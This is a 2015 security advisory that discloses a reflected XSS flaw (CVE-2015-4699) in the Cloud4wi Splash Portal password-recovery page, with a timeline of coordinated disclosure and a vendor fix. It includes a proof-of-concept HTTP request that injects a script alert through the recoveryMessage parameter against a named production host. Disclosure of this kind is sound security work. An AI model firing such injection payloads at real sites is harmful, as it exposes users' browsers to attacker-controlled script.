• Consulting
  • Information Security
  • Networking
  • Software Development
  • R&D
  • CLOUD4WI SPLASH PORTAL Reflected XSS vulnerability – CVE-2015-4699

    04-08-2015

    CLOUD4WI SPLASH PORTAL Reflected XSS vulnerability

    Quantum Leap Advisory: CLOUD4WI SPLASH PORTAL Reflected XSS vulnerability – Adivsory # CVE-2015-4699
    Affected Product: CLOUD4WI SPLASH PORTAL
    Credits: Vulnerability discovered by Agostino Parentela of Quantum Leap s.r.l

     Executive Summary

    Using a specially crafted HTTP request, it is possible to exploit a lack in the neutralization of the pages output which includes the user submitted content. Successful exploitation of the vulnerabilities, results in the execution of arbitrary HTML and script code in user’s browser in context of the vulnerable web application trough a “Reflected XSS”.

    Proof of Concept

    It has been discovered a reflected XSS vulnerability on to ControlPanel  page in Cloud4wi Splash Portal. Below you can find a proof of concept of the vulnerability: go to “Forgot your credentials?” page

    After compile form of username and submit the request, the server return a message of error because “Invalid username” with the URL “?recovery=1&recoveryMessage=Invalid%20username”. Here it’s possibile to inject a malicius code.

    GET /?recovery=1&recoveryMessage=Invalid%20username”);><script>alert(“XSS”);</script> HTTP/1.1
    Host: controlpanel.cloud4wi.com
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Connection: keep-alive

    Figure 1 shows the arbitrary code executed in the user browser context.

    Cloud4wi_XSS

    Figure 1 – XSS Cloud4wi PoC

    Solution

    To fix the security issue we recommend to update at new version 5.9.7, the vendor has resolved this issue.

    Disclosure Timeline

    29/04/2015 – Vulnerability Discovered
    08/05/2015 – Initial vendor notification
    30/07/2015 – The vendor fixed the vulnerability
    04/08/2015  – Public advisory

    References

    [1] https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
    [2] https://cloud4wi.zendesk.com/hc/en-us/articles/204956829-Cloud4Wi-5-9-7-Release-Note